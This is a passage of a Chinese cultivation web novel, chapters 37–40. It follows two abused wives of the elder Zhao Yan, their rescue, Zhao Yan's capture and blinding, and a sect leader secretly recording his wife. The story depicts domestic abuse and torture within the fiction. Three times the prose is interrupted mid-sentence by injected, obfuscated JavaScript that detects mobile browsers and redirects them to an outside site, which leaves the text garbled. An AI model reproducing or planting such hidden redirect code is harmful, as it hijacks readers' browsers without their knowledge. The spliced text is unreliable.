许萱是他最宠爱的妻子,他们有两个儿子,如今又有一个孙子两个孙女,那孙喜男定是又妒又恨,才会拉她下水。 而此时的许萱看着终于醒过来的孙喜男,内心五味杂陈。 她想起孙喜男对她说的话: “我活,你便能活,我死,你也得死,你知道我在说什么。” 许萱不想死,她有儿子,有孙子孙女,也有想见的人,她不想死,所以配合了孙喜男。 她不像孙喜男,有修为在身,她只是个普通的凡人,那些酷刑,她好几次都要捱不下去,可一想到如果就这么死了,谁去找那个人呢? 所以她撑了下来,但也快撑到极限了。 终于,昨天夜里,有个年轻人救了她们。 可不知为什么,本来在地牢里对着各种手段都仿佛钢筋铁骨的孙喜男,却在被救出来后气息越来越弱。 等被林河带进洞天,孙喜男已经奄奄一息,几乎就要断气了。 “她是不是被打坏了?”许萱有点慌,她一直被关在妻庄,几乎不怎么出门,所以也不太认识林河。 陌生的人,陌生的地方,唯一熟悉的人还快要死了,叫她怎么不害怕。 “不是被打的,是被施了禁术。”林河说。 他救孙喜男时,见她似有些犹豫,问其顾虑,孙喜男说自己被赵延施了禁术,必须呆在他身边50里之内,否则会受禁术影响,三日内必暴体而亡。 林河那时并不知道苏一枝能否解决这情况,只得让孙喜男自己选择。 孙喜男想了想,说哪怕只有一天的自由,也值得。只是可惜,仇尚未报完。 “你还有什么仇没报?” “赵延。” “若你真死了,我替你杀他。” “好。” 因为孙喜男与许萱是分开关押,所以许萱并不知道这些。 “禁术,什么禁术?怎么会有禁术?”她着急,“有没有人能救救她?” “别慌。”苏一枝摸了孙喜男的脉,片刻后说:“这赵延,修为不高,歪门邪道倒是懂得不少。” “不然怎么掌管青木宗的刑罚司呢。”林河撇嘴。 他有些郁闷,区区一个金丹期下的禁术,他竟没能解开,还要劳烦苏一枝。 以孙喜男目前的身体状况,根本无法与禁术对抗,若强行将禁术从她身上剥离,她会因无法承受而神魂离体。 只能先让身体恢复到正常状态,然后再剥离禁术。 而这一切必须在三日内完成。 好在,苏一枝不光有空间里的各种药材,还有玄天鼎。 玄天鼎有生发之效,它炼出的丹药,本就能助人恢复生机。 一切搞定,孙喜男体内刚刚被注入的生命力,又因对抗禁术的剥离而被抽得一干二净。 她躺在床上,面容苍老,大汗淋漓,看起来毫无生机,一双眼却异常明亮。 “我自由了?”她虚弱问。 苏一枝点头:“自由了。你身上的所有禁制都已消除,以后你的修为不会只停留在金丹期,只要你努力,还会有很大提升。” 孙喜男忽然低低笑了起来,那声音压抑在胸腔里,闷闷的,一时分不清到底是笑还是哭。 终于,她放开了声,开始大笑,笑着笑着,眼泪从眼角滑落,她的眼角,有两道深深的皱纹。 修真之人,本不该如此苍老,可她活得太苦了,修为又一直被压制着,看起来比寻常妇人好不了多少,唯一强过凡人的,就是生命力顽强,且扛揍。 如今孙喜男62岁,她终于获得了自由。 “你们知道,我为什么会嫁给赵延吗?”孙喜男问。 “为什么?” “我是水木双灵根,在散修中,算是相对纯粹的。在少女时期,我也曾经想过,这一辈子,不嫁人,专心修炼。”孙喜男抬眼看夜空,仿佛透过黑沉沉的夜,看到了自己的少女时代。 孙喜男,听名字就知道,父母对她抱了什么样的期望。 孙喜男还有两个妹妹,一个叫孙爱男,一个叫孙望男。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174138|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管父母如此虔诚,却依然没盼来梦想中的男娃,并且母亲在怀第四胎时,和父亲在看大夫的路上遭遇凶兽,双双殒命。之后孙喜男带着两个没什么灵力的妹妹,发誓此生不嫁人,好好修炼,争取能活得久一点,将两个妹妹送走,之后找个僻静处,了此余生。 可她18岁那年,姐妹三人遭遇一伙散修围攻。 孙喜男竭尽全力,仍没能护住两个妹妹,就在她自己也即将陷入敌人之手时,赵延出现了。 那时赵延才26岁,长的也算一表人材,灵力也说得过去。 总之,英雄救美,少女怀春,误将感恩当爱情。 那赵延还说自己妻子亡故,留下三个女儿,他既当爹又当妈,还要兼顾修炼,更要经常出门历练,做些宗门任务,以养活三个女儿。 他说自己最见不得女人受欺负,会让他想起亡妻,想到自己的女儿,所以哪怕面对一众敌人,也坚决出手相助。 鄙劣的谎言。 但孙喜男信了,并且感动得差点流泪,还嫁给了赵延。 婚后她才知道,自己错得有多离谱。 那赵延原本也是个散修,20岁娶了第一任妻子赵小草,三年抱俩女儿,二女儿刚满月,赵小草体虚被家暴身亡,次月,赵延就娶了第二任妻子,又生一女,次年,二妻也被家暴致死。 这时赵延进了青木宗,一年后,26岁时,遇到不谙世事的傻白甜散修孙喜男,见其灵根相对纯粹,立马设计娶回家充当门面。 之后又分别于29岁,31岁,34岁,37岁,40岁,接连娶到第八任妻子,生了四个女儿,其中第八任妻子不曾生育便被打死。 43岁时,赵延遇到了刚满18岁正欲寻死的许萱,营救后娶了回家,第二年,许萱一举生下双胞胎儿子。 恰好这时赵延修炼出了意外,不但修为停滞,男人的功能也开始有问题,他便停止了三年一娶的行为。 他认为这次意外是孙喜男所为,从此对孙喜男折磨更甚。 孙喜男之所以能活命,一是她自身修为尚可,比其他女人抗打。 二是,她已经是散仙出身的赵延所能娶到的最好门面。那些纯粹单灵根的女子,从出生起,就被世家大族们一抢而光,哪里轮得到他。所以他虽然各种折磨孙喜男,却并不希望她真的死掉。 这些年来,众人皆以为孙喜男是他发妻,也是这个原因。 人么,哪有不爱慕虚荣的。 “我承认,我落得如此下场,是我自己头脑不清醒导致。从18岁到35岁生果儿,这期间,我虽早被他下了禁制,无法反抗他,修为也无法超越他,但人是自由的,可我偏偏没想过逃。等后来想逃了,又总觉得带着果儿四处飘泊不定,还有可能会被他找到,不敢逃,直到果儿遇害。这些年我忍受一切,呆在他身边,想伺机报仇,可惜,到底还是只杀了林潭,没能杀了赵延。” “赵延总觉得,他那次修炼意外,是我搞的鬼,所以处处防我。”孙喜男看向许萱,“但真相究竟如何,你比我更清楚,对吧?” 38. 第 38 章 “我,我怎么会知道,你们修真人士才懂这些。”许萱白皙的脸上闪过一丝慌乱。 她今年45,虽然是个没有灵力的凡人,但保养得当,看起来比孙喜男还要年轻。脸很白,眼珠子乌黑,咕噜噜转来转去,一看就很有心计,却又习惯性装得天真无辜没什么心计的样子。 是男人会喜欢的那款。 “有意思吗?”孙喜男皱眉,“在这里,你装给谁看?” 林河踱步上前,在两人面前蹲下,看看孙喜男,又看看许萱,然后站起身,说:“道德感越低,就过得越好,这一点孙姨你要向人家学习。我敢打赌,你要是听了这位许萱的生平,会惊掉下巴。” 苏一枝惊奇:“你知道她?” 林河摇头:“不知道,但我会看。有时候见人第一面,这个人的脾气性格,生平过往,我基本能知道个大概。就像当初在药房见到孙姨,我一眼就看出她修为与灵根不相符,身上必有蹊跷。” 所以落到沼泽里的修士无数,当初他却只救了苏一枝。 “听见了吧?”孙喜男冷笑道,“别老变着法子装可怜,这里没人稀罕。是真是假,林少爷一眼就能看穿,越实诚越好。” “我承认,那件事与我有关。”许萱看了看面前三人,咬了咬牙,认命似地说起了自己生平。 许萱自幼父母双亡,被伯父养大。 虽然伯父对她很好,但这年头,每家日子都过得艰难,因此伯母时常会将一些不满挂在嘴边,许萱听了,便生出许多寄人篱下的心酸。 好在,那个全村最聪明也最好看,一堆女孩子争着抢着想嫁的男人,与她两情相悦。 两人约定,等她一满18就结婚,到时候,她就可以脱离伯父家了。 男人大她3岁,叫徐远,若不是为了等她,本来是要去修仙的。 可伯父得知这事,却不同意,说什么徐远灵根纯净天赋好,即使现在留下来,将来也要去修仙,到时会有更适合他的女子,叫许萱选个普通男孩嫁了,安安稳稳过日子。 许萱一听就气笑了,她觉得伯父分明是想让自己小女儿,也就是她的堂妹嫁给徐远。 可那堂妹才15岁,想要成婚,早着呢,更何况,徐远早说了,全村的姑娘,他只喜欢自己。 即将18岁时,许萱和徐远一时没忍住,两人在林子里偷尝了禁果,约好第二天晚上仍在此地相见。 谁知第二天,许萱左等右等都不见人来。 自那之后,徐远就消失了。 许萱心里害怕极了,日日徘徊在河边,想寻死,又没勇气。 恰好有日,追踪灵兽的赵延路过,许萱见有人来,还盯着自己瞧,便放心跳了水。 果然,赵延将许萱救了起来,问她何事如此想不开。 许萱见他气势非村里普通男人能比,心里一动,便说自己被伯父强迫,要她嫁给老头,抗婚无果,方才寻死。 赵延一听,这还了得,便让许萱别怕,问她伯父住哪,说自己定为她出头,保她无忧。 许萱带着赵延回到伯父家,毫不知情的伯父迎出门来,被赵延当场打死。 赵延顺便灭了伯父满门,然后带着许萱回了青木宗,两人成婚。 大概八个月后,许萱摔了一跤,早产生下双胎男婴。 在生产前夕,徐远忽然出现,想带她离开,她苦苦哀求,说自己如今好不容易有了安稳的日子,以后孩子也都会过得不错,让徐远不要打扰自己和孩子的幸福。 徐远沉默了许久,同意了,但很不甘心,因此对着赵延动了些手脚,让他修炼出了意外,从此修为不前,也失去了男人能力。 再之后,徐远经常会悄悄来找许萱,两人多次被孙喜男撞见。 也因为这样,许萱对孙喜男的感情很复杂,既讨厌,又害怕,既依赖,又畏惧。 她恨不得孙喜男早日被赵延打死,以免泄露了自己的秘密,可有的时候,又庆幸有孙喜男的存在,承担了赵延的全部戾气。 虽然赵延总说许萱善解人意,可在许萱自己看来,那不过是因害怕而逢迎,效果如何全看对方心情。她倒是觉得自己能活着,一靠孙喜男拉去赵延仇恨,二靠一对宝贝双胞胎儿子。 可这儿子吧,也是许萱的心病。 他们越长越像徐远了! 赵延虽然经常会说孩子长得不像自己,但从来没怀疑过。 可这是因为他不认识徐远。 若是哪天,徐远突然出现在他面前,他肯定一看便知。 所以许萱每天既期待徐远多多出现,又很害怕他哪天会被赵延撞见,希望他来得少些。 后来徐远真的不来了,她怀着不安等了很多年,徐远再也没有出现。 孙喜男杀林潭父子的那晚,许萱提前去接孙喜男的班,正好遇见孙喜男在善后。 许萱受到惊吓,当场拼命捂住自己的嘴才没有发出声音,她想跑,却腿软,被孙喜男抓住。 孙喜男对她说:“我活,你便能活,我死,你也得死,你知道我在说什么。” 许萱知道,怎么会不知道呢,一直以来,她就是因为害怕秘密暴露,才会对孙喜男又恨又怕。 即使不为了自己,她也得为儿子考虑,她还想带着儿子去找徐远呢。 所以她选择了为孙喜男保守秘密,两人一起捱过了青木宗地牢的严刑拷打。 那些都是赵延亲手培养出来的人,残忍得很,可她顶住了。 “我知道你们这里任何一个人想杀我就跟捏死一只蚂蚁一样,但即使是蚂蚁,兴许也有它的用处。只要你们需要,我会尽我所能配合你们。”许萱顿了顿,又说,“如果有一天我能出去,我会对这里的一切保守秘密。” 孙喜男冷笑了一声,没说话。 她有时候很佩服许萱的能力,她总能找到办法让自己活着。 别人要么是可怜她,要么是喜欢她,要么是信任她,要么觉得即使不相信她,但也没必要杀她。 总之她一个毫无灵力的弱女子,就这么一路活到45岁,并且一直活得都不错。 “我与你无怨无仇,为什么要杀你。”苏一枝忽然侧耳凝神,片刻后对孙喜男说,“赵延在四处找你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182954|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孙喜男噌地站起来:“我还是离开吧,免得连累你们。” 苏一枝拍了拍她肩膀:“你去弄出点动静,免得他找不到这里,我看他都快找崩溃了。” 孙喜男愣住,但没说什么,默默出去了。 她腰间多了块莹白玉牌。 赵延确实快崩溃了。 自从上次孙喜男自作主张跑到离火宗给他求药后,他就在她身上多加了一道禁术,让她无法不经允许脱离自己身边50里范围。 换句话说,即使在青木宗内,孙喜男若想走得远些,比如从地牢到灵兽馆,都得赵延允许才行,她连每日去灵植园都得跟赵延请示,规定好时间。 可如今,别说50里了,500里内他都翻了个遍,愣是影子都无。 他有点后悔当初没有给孙喜男点魂灯。 如果点了,起码能知道她是死是活,好过现在,生不见人,死不见尸。 那边一遍遍催得紧,赵延也着急,只能不断拿全家性命担保,让林木儿再宽限他两日。 赵延召来原本和自己分头行动的赵轻舟赵乘风,决定父子三人一起行动。 原因无他,万一孙喜男离他超出50里,却依然活着,证明她遇到了修为很高的人,去除了身上的禁制。 对方高出他修为太多,所以即使将禁制剥离,他也毫无感应。 就在无头苍蝇一般满山乱转时,赵延忽然感受到周边有一丝异动,空气里隐隐有熟悉的气息传来,转瞬即逝。 他精神一振,顺着时隐时现的气息一路追踪,终于,在离青山镇不远的半山腰,发现了孙喜男,同时,也落入林河之手。 赵轻舟赵乘风两人因为没能跟上赵延的速度,反而逃过一劫。 赵延被关进了临时打造的地牢里,他不仅看到了孙喜男,还看到了许萱,以及苏一枝。 “赵长老,还认得我吗?”苏一枝轻轻摸着那升级过的丛棘,“我们第一次见面,也是在丛棘里。” 赵延看着眼前的白衣女子,美得不似凡人,说出的话也毫无凡人的温度。 “赵长老怎么这副神情?莫不是忘了?”苏一枝手抚胸口,似是为了赵延的健忘而心痛,“那是在青木宗的地牢里,我被林木儿用丛棘困住,痛苦万分。这时候你过来了,我便向你求救。可惜,你没有救我。非但没有救我,还在后来我指出你见过我时,说我血口喷人。” “普通的丛棘对你来说级别有些低,所以我把它升级了,现在对你刚刚好。好好享受吧,赵长老。” 赵延闭上了眼睛。 苏一枝说的那些,他怎会不知道,但身居人下,他又有什么办法? 真是,惟小人与女子难养些。 他想往后靠,突然被丛棘扎到,奇痛游走在七经八脉,汗一下子就冒了出来。 想封闭五感,却发现根本无法做到,这丛棘原来还能锁住人灵力,怪不得说是升级了。 赵延就这么直直站着,半点不敢歪斜,不知过了多久,他觉得自己实在受不住了,看到门口一亮,进来一个人。 是许萱。 39. 第 39 章 赵延一直觉得许萱定是被逼的,即使见到许萱毫发无伤与那些人站在一起,他也坚持认为,一定是许萱想法子暂时骗了他们,换取了片刻自由。 “萱,他们没对你怎么样吧?” “没有。你还好吗?” “你放我出去,我带你一起走。” “可我不知道怎么放啊。” “这地牢和丛棘,完全仿照青木宗设计的,估计他们平时根本没怎么关过人,不会造,只会照抄。你找找看,在地牢正南方,墙上或地上,有没有一个红色的火眼?” 许萱还没有决定要不要救赵延,但她已经照做了。 在地牢里转了半天,终于确定了方位,也看到了那个所谓的火眼。 在墙壁上,赤红鲜艳,如一只眼睛般。 “找到了。”她说。 “用力往下按火眼,按三下,引动离火,以火泄去木气,这丛棘自然就没用了。” 许萱害怕极了,也纠结极了。 她想救赵延,毕竟没了赵延,自己就没了依靠。 可先不说这行为要冒多大风险,能不能成功,即便成功了,只要孙喜男活着,自己的秘密随时都有可能暴露,到那时,赵延还会是她的依靠吗? 想起赵延对孙喜男的手段,许萱不寒而栗,按到火眼上的手又缩了回来。 可如果赵延死了呢? 自己一个毫无灵力的妇人,带着两个天赋一般并不亮眼的儿子,要如何在青木宗立足? 许萱手又放了上去。 “快按啊!”赵延催促。 “我,我不敢。”许萱说。 “你怕什么!”赵延着急,一跺脚,又被丛棘扎了一下,痛得龇牙咧嘴。 头顶传来脚步声,许萱吓白了脸,那人迎面走来,却是孙喜男。 “贱妇!”赵延咬牙切齿。 孙喜男笑笑,没理会他的辱骂,走到他面前,掏出一根簪子:“认识吗?” “认识你妈……啊!”赵延没骂完便被一簪子戳中眼睛。 他惨叫一声,身体不由自主向前弯倾,伸手去捂左眼,可他忘了此时正身处丛棘之中。 接二连三的惨叫响起,赵延终于意识到了自己处境,忍着钻心的痛,站直身体,任由鲜血流了满脸。 “这一下,是恨我自己没长眼睛。眼珠子瞎了,识人不清,不要也罢。”孙喜男说。 许萱打了个寒噤,悄悄出了地牢。 她想说恨自己没长眼睛,不该戳自己的眼么,为什么要戳别人的,可她不敢。 孙喜男仿佛变了一个人,已经不是以前的那个孙喜男了。 不一会儿,孙喜男也走了出来,跟许萱一起,看苏一枝和林河逗团团圆圆玩。 “我最近巡山的时候,经常会看到林木儿。”林河说,“她好像知道我们在这里,只是找不到。” “她很快就会带秦炎来的,因为她已经快疯了。”苏一枝自从进入合体期,能呆在空间的时限变成了四个时辰,有很多时间可以去观察敌人动向。 不过她还是将更多心思放在了提升修为上,都合体期了,再往下,就是洞虚,大乘,然后渡劫飞升。 难道还真的要她进入大乘才能得到灵女提示? 可是以她的资质,即使有空间加持,也很难修得大乘吧? 但无论如何,还是要先努力再说,所以她拼了老命修炼,以至于林河跟团团都觉得近期见她一面很难。但只要出了空间,她还是很放松的,可以与他们一起愉悦玩耍。 而她如此愉悦,很大一方面就是因为林木儿。 林木儿确实如苏一枝所说,快疯了。 她此生最在意的事情,在短短一个月时间内,分崩离析,毁了个一干二净。 一直引以为傲的宗主之女身份,没了。 不但身份没了,整个娘家都没了,父兄全死,娘家还能靠谁? 靠那些她自己都不知道名字的姐姐或妹妹吗? 若是靠得住,也不至于林潭有那么多女儿,偏偏只有自己被众人高看了。 如果是男儿身,她会争取成为青木宗宗主。 可她不是,所以她的目标变成了当宗主夫人。 她曾说,她最渴望的事情,是嫁给秦炎,做一个人人称赞人人景仰的宗主夫人,并为他生儿育女,让他可以安心遵守秦家不二娶的家训,也让世人看看,并不是非得要娶诸多女子生一堆孩子,才能让人尊敬。 明明已经快成功了,明明希望就在眼前。 然后她倒在了离幸福一步之遥的地方。 林木儿恨。 她根本不敢回想那两个孩子生出来时的模样,可恶梦纠缠她至今。 不知道多少个夜里,她从梦中尖叫着醒来,浑身湿透,她又看到了孩子。 她想将苏一枝挫骨扬灰,可她做不到。 她看着半睡半醒却依然履行丈夫职责轻拍自己后背的秦炎,几次三番想叫醒他商量一些事,终究是话到嘴边又停住了。 秦炎是个好丈夫,虽然她偶尔也会嫌他没什么情趣,但他无论身份地位还是相貌,都是这世上与自己最相配的。重要的是,即使性格原因,缺乏情趣,但丈夫该尽的职责,他一样都不会少。 比如刚才,她被恶梦惊醒,他立刻起身安慰,眼下虽又沉沉睡去,但手仍一下一下拍着她的背,安慰她。 他前几日还给了自己一根簪子,说她近日体虚,又总休息不好,那簪子有护体之用,可以源源不断为佩戴者提供清养之气,更会在佩戴者遇到危险时,可以抵挡致命一击。 他甚至每日都会在她晚上取下簪子时,检查一遍其灵气是否依然充足,如有不足,便及时补上。 林木儿虽然笑他,说你这法宝若是需要每天补充灵气,那还算得上什么法宝,但内心其实是很受用的。 有谁会不喜欢自己被人关心呢? 林木儿不知道的是,那簪子里,被镶了一颗玄影石,又以幻术遮掩,她修为比秦炎低,当然看不出来。 当初秦炎曾跟苏一枝要了三颗玄影石,以备不时之需。后来他发现对方玄影石很多,根本用不完,既没责问为何只给自己三颗,也没厚着脸皮再要。 那时秦炎还不知道苏苏就是苏一枝,他只觉得苏苏是个很有用的人。 有用之人,很少听话,听话之人,又往往无用。 秦炎喜欢有用的人,所以即使对方没那么听话,他也不太在意。 不就是玄影石吗? 他不信自己造不出来。 事实证明,他还真造不成来,起码造不出一模一样的来。 几番钻研,三颗玄影石被他废掉两颗,终于在白金宗的南矿山里找到了勉强能替代的材料,只可惜,即使是替代性材料,也是很稀有的,他费了九牛二虎之力,至今不过只做出二十块。 而且这二十块,影像只能保留十二个时辰。 等于说,忙活半天,基本白忙。 可秦炎觉得值得,最起码,有需要的时候,不用受制于人了。 他在簪子上镶了玄影石,每天晚上借着检查灵力是否充足,观察所录影像,并替换玄影石。 只要灵力覆盖上去,识海里就会浮现画面,可以选择将画现公诸于众,也可以自己观看,秦炎当然自己看。 每次他做这些,都是当着林木儿的面,但林木儿从未怀疑。 就好像在苏一枝说那句话之前,他也从未怀疑过林木儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192659|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏一枝暴露身份之时,他在林木儿引导下,问苏一枝是否与黑水门有勾结,苏一枝说:“我与黑水门没有任何接触,不过黑水门近年来南向扩张,触手早已伸向三大门派,宗主怀疑离火宗有人跟黑水门有接触,也是正常的。” 她说这话时,眼睛看的是林木儿,而身边的林木儿,明显紧张起来。 他与林木儿多年夫妻,这种变化怎么逃得过他的眼睛。 即便如此,他也没有立刻就怀疑林木儿。 可是第二天,林木儿就借着回青木宗的理由,又失踪了大半日,直到丹药峰药材被毁,黑水邪神留言,她才又出现,矛头直指苏一枝。 苏一枝当时说什么来着? “听闻荒芜沼泽毒虫凶兽横行,如今更有黑水门人频繁活动,我自然是不敢去也没有时间去,但据说有人在那里曾见过夫人呢。修真之人怀孕本就脆弱,经不起折腾,宗主若还想夫人安全生产,就劝劝夫人吧。” 这个时候,秦炎内心已经十分动摇,可他依然没有采取行动。 直到,林木儿产后,体弱成那样,却还是定住了他派去守门的弟子,又消失了一次。 他没在意过以前林木儿是否经常失踪,他们夫妻之间没有限制对方行为到如此地步,可一旦心中有了怀疑,再来看,一切就都不一样了。 终于,他再也忍不住,在林木儿回来后,借着为她身体好的理由,送上了那根镶着玄影石的簪子。 簪子的护体功能是真的,需要经常检查灵力是否充足也是真的,但不必那么频繁检查。 如果他用的是苏一枝的玄影石,倒也不必日日查看替换,可惜,他的石头品阶太低,只能每天都看一下。 他看到林木儿去青木宗捉了赵延的孙子孙女关押起来,才几岁的小娃娃,被吓得瑟瑟发抖,哇哇大哭。 他看到赵延儿媳们被折磨得奄奄一息。 他看到那三个孩子也因为赵延没有及时归来而被毒打了一次又一次。 他看到那些被呼来喝去对林木儿十分惧怕但也明显反感的青木宗弟子。 他看到林木儿发火时,被她用灵力摧毁的大片灵植,还有那些被剥皮抽筋的灵宠…… 他吃惊,却也没有十分意外。 林木儿手段残忍,他十年前就知道。 当初他虽不喜苏一枝,也不愿听她多说,但她那一身的伤痕和虚弱的神魂,他是看得到的。 只是他并不想去细究到底谁是谁非。 总不能为了一个毫无根基的凡人,得罪青木宗宗主的女儿吧? 即使这个凡人是他未来的妻子。 后来他和林木儿结婚了,婚后林木儿这个宗主夫人做得可谓是十分合格,要身份,是青木宗宗主女儿,要实力,若非因为怀孕,恐怕已经元婴期大圆满,论相貌,修真界也无几人可与之匹敌,平日里处事,更是聪慧机敏,端庄得体,对弟子赏罚分明,众人交口称赞。 他秦炎得妻如此,还有什么不满意的? 如今受了这样重大的打击,内心需要发泄,手段恢复往日残忍,他也可以理解,所以虽然每天看到她在那里折磨人折磨兽,他都没说什么。 直到这天,他看到林木儿去了北边沼泽,见了那个人。 秦炎终于黑了脸。 说实话,他并没有看到林木儿和鱼跃行什么苟且之事,但却比行了苟且之事更让他憋闷。 因为林木儿说:“不行,我想来想去,还是气不过。鱼跃你能不能给我个准话,献祭许愿得来的孩子,按理说是不是应该绝对万无一失?” 献祭得来的孩子? 秦炎懵了。 而林木儿接下来的话,更是让秦炎险些吐出一口老血。 40. 第 40 章 林木儿:“会不会因为我献祭的不是自己的寿命,所以孩子才出了问题?” 哐哐哐,一记又一记重锤击在秦炎心上。 孩子是献祭换来的。 献祭的还是别人的寿命。 林木儿,你可真是…… 秦炎咬牙闭眼,一时找不到形容词。 关于黑水门以寿命献祭许愿之事,秦炎当然知道。 秦旭跟梅踪这些年游历天下,早将这些事说给他听过。 但其实秦炎知道的,比秦旭更早,也更多。 只因母亲钟灵生他时难产身亡,导致他自幼被老爹秦旺又爱又恨,热一阵冷一阵的,直到哥哥秦旭“不争气”,才将所有关爱都放到他一人身上,对他的态度也慢慢稳定下来。 稍大一些后,秦炎就开始尝试去了解母亲难产死亡这件事。 他想知道,一个出窍期女修,真的会没有预兆,完全因为生孩子这件事就死掉吗? 究竟要怎样,才能解决女人生孩子会死这个难题呢? 他不想自己以后的妻子因为生孩子出问题,也不想别的女修发生这样的事。 如果女修只要生孩子就有可能死,那离火宗还有没有必要花费资源培养女修? 虽说现在各大宗门都不怎么培养女修,只会培养宗门所出又被长辈偏爱的,但若哪天真遇到个天才女修,让人忍不住想倾注资源去培养,结果养成后,她却跑去生孩子死掉了,怎么办? 要怎么做,才能避免损失? 结果秦炎不查不知道,一查吓一跳。 抽丝剥茧般拨开重重迷雾后,他发现,他的母亲钟灵,极有可能是献祭寿命才怀上了自己。 不光自己,连哥哥秦旭估计也是这么来的。 钟灵作为白金宗钟家的女儿,是个纯粹水灵根,这也正常,金灵根重的人本来就容易生出水灵根。 但问题是,单灵根生育能力极低,除非是单纯土灵根,可土灵根如今又没法修炼。 而母亲作为水灵根,竟生了两个孩子,还都是在年龄比较大时生的。 他翻阅了宗门的平妖记录,发现母亲去过荒山多次。 要去荒山,得穿过狐妖林,到达黑水门地盘,作为三大宗门的人,去狐妖林平妖已经是极限,母亲为何要去除荒山的妖? 荒山之妖,自有黑水门去管。 再联想到母亲的水灵根,秦炎心里隐隐浮现一个念头。 水灵根者,尤其是单一水灵根者,往往会被人顾忌,人们会不由自主担心,这样的人会不会去学习黑水门邪术呢? 毕竟黑水邪术,只有水灵根才能学。 秦炎心里也有了怀疑,他继续搜寻,果真在母亲遗物内,找到了一尊黑不溜秋的小小神像。 多方探查之下,他终于知道了这个神像的作用。 黑水门的邪神像,全天下据说不超过十个,母亲居然有一个。 秦炎终于确定,母亲是献祭了寿命,换取了他和哥哥两人的出生。 否则,出窍期修为的母亲,即使在这样灵气稀薄的世道,也不至于65岁就去世了。违抗天道,非要生育,又献祭生命,双重打击之下,最终难产而死。 而如今,林木儿也走上了献祭这条路。 难道这就是秦家的宿命? 可秦炎来不及感慨,就又听到林木儿说,她献祭的不是自己寿命。 还能这样? 秦炎不由气笑了。 “邪神才不管你献祭的是谁的命,孩子出了问题,自己去找原因,劝你不要怪罪到邪神头上。”鱼跃摇着扇子,一身黑衣都掩不住风流。 秦炎心里闷闷的,恨不得自己的手能穿透玄影石,穿越时空,去掐住鱼跃的脖子。 他想,鱼跃跟林木儿,究竟有没有进行到那一步? 那鱼跃,是只贪图林木儿美色,还是有别的野心? “说到底,一切都怪那苏一枝!”林木儿恨恨的声音传来,秦炎恍惚了一下,才意识到声音不是来自玄影石,而是来自身后。 他急忙将玄影石收了,换上最后一枚,然后将簪子放到案上,却没有回头:“都说了,让你什么都不要想,先养好身体。” “可是这事就这样算了?你能咽得下这口气?”林木儿犹豫了几晚,终于决定还是向秦炎开口,“如果我的身体真的养不好,以后都无法生育孩子,你会休了我,另娶吗?” “秦家有家训,不二娶。” “但你心里也是想要孩子的吧?” “这一点我无法否认,但我不会违背家规。至于孩子能不能有,那是命数。” 林木儿心里闷闷的,像是有一团气堵在胸口,上不去,也下不来,秦炎就是这样,你不能说他不负责任,没有担当,只要他想,他可以很负责任,但情趣二字,真的与他无关。 明明可以将话说得更好听,他偏偏不。 她用手轻轻捶了几下胸,要将那团气击打出去,然而无济于事,她思索了一会,说:“前几日我在青山附近,发现了苏一枝的踪迹。” 秦炎猛地转头。 他的反应让林木儿眼角抽了一下,心里闷得更厉害了,却只能继续:“可一晃眼,就不见了。我猜她就藏在青山上,只是设了阵法,我看不到。” “你看真切了?”秦炎问。 “当然,我对她恨之入骨,怎么会看错。夫君,你愿意去青山找到她,为我们的孩子报仇吗?” “孩子之事,并没有证据表明一定是苏一枝所为。当然,如果最后证明确实是她做的,我也绝不会放过她。眼下我要找她,是因为别的事。” “什么事?”林木儿忽然有些不安。 “你近日身体不宜修炼,自然不知。最近很多人修炼进度都变得极其缓慢,我去问了祝从容,是否与丹药有关。他说,可能是大家身体都适应了玄天鼎炼出的药,再用普通丹药,就没什么效果了。正所谓由俭入奢易,由奢入俭难。” “所以你想去找苏一枝,让她回来炼药?” “如果不能回来,至少也得把这种情况给解决了,让大家修炼进度恢复正常。” “可之前不是有那黑水邪神留言,说只要苏一枝在,就见药必毁么?” “三大宗门若是行事都受制于黑水门,岂不可笑。” “那苏一枝能听你的话,乖乖回来吗?” “我也没说直接就让她回来,先按你的计划行事,看看孩子的事是否真与她有关吧。” 感受到阵法被攻击的时候,苏一枝正跟林河一起看孙喜男戳瞎赵延另一只眼睛。 “真可惜啊,观众还是太少了。”苏一枝说,“不像当初,我被冤枉向你求助,被你颠倒黑白时,可真是围观者众多。怎么办呢,好像不管怎么做,都没法让你像我当初那般憋屈。你也没对我动过手,所以我也懒得打你,省得脏了我的手。但你作过的恶,还是要还的。” “可他对我却是动了无数次手的,我跟姑娘一样,遭受过的一切,总想着要全部还回去。”孙喜男看着自己一手的血,沉默了一会,有点失落地说,“可是为什么,如今有了机会,心里却并没有想象中那样痛快呢?” “因为你跟我一样,和他不是同一类人。也因为,就算你再恨他,他仍是你女儿的父亲。”苏一枝说。 